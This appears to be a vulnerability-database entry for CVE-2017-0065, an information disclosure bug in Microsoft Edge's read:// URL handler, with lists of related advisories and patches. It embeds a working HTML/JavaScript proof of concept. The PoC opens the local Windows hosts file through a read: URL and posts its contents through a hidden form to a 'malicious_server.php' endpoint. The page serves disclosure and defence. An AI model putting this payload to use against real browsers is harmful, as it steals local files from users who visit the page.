Microsoft Edge read:// urlhandler Information Disclosure Vulnerability (CVE-2017-0065 )

🗓️ 16 Mar 2017 00:00:00Reported by RootType

Microsoft Edge Information Disclosure Vulnerability Patche

Reporter	Title	Published	Views	Family All 21
BDU FSTEC	The vulnerability in Microsoft Edge’s browser allows a hacker to access confidential information from the process memory, cause a service failure, or have other adverse effects on the system.	31 Mar 201700:00	–	bdu_fstec
CNVD	Microsoft Edge Information Disclosure Vulnerability (CNVD-2017-03537)	16 Mar 201700:00	–	cnvd
Check Point Advisories	Microsoft Browser Information Disclosure (MS17-007: CVE-2017-0065)	14 Mar 201700:00	–	checkpoint_advisories
CVE	CVE-2017-0065	17 Mar 201700:00	–	cve
Cvelist	CVE-2017-0065	17 Mar 201700:00	–	cvelist
Microsoft KB	March 14, 2017—KB4012606 (OS Build 10240.17319)	14 Mar 201707:00	–	mskb
Microsoft KB	MS17-007: Cumulative security update for Microsoft Edge: March 14, 2017	14 Mar 201700:00	–	mskb
Microsoft KB	March 14, 2017—KB4013198 (OS Build 10586.839)	14 Mar 201707:00	–	mskb
Microsoft KB	March 14, 2017—KB4013429 (OS Build 14393.953)	14 Mar 201707:00	–	mskb
Kaspersky	KLA10967 Multiple vulnerabilities in Microsoft Browser	14 Mar 201700:00	–	kaspersky


                                                具体 PoC 可以参考：https://github.com/Dankirk/cve-2017-0065

<!doctype html>
<html>
<head><meta charset="UTF-8"></head>
<body>
<form id="xss_form" method="post" action="http://127.0.0.1/malicious_server.php">
	<input id="xss" type="hidden" name="xss" value="">
</form>
Click anywhere to submit your hosts file
<script>
	document.onclick = function(event) {
		event.preventDefault();
		// append a random value to prevent caching
		var url = "read:,C:\\windows\\system32\\drivers\\etc\\hosts,"+Math.floor(Math.random() * 1000);
		var w = window.open(url);
		if (w) {
			// Copy window contents, close and submit 
			// This is allowed because we are the same origin, since we are using subsequent read:, requests
			document.getElementById("xss").value = w.document.body.innerHTML;
			w.close();
			document.getElementById("xss_form").submit();
		}
		else
			document.body.innerHTML = "Popups are blocked :<";
	}
</script>
</body>
</html>

16 Mar 2017 00:00Current

5.4Medium risk

Vulners AI Score5.4

EPSS0.27406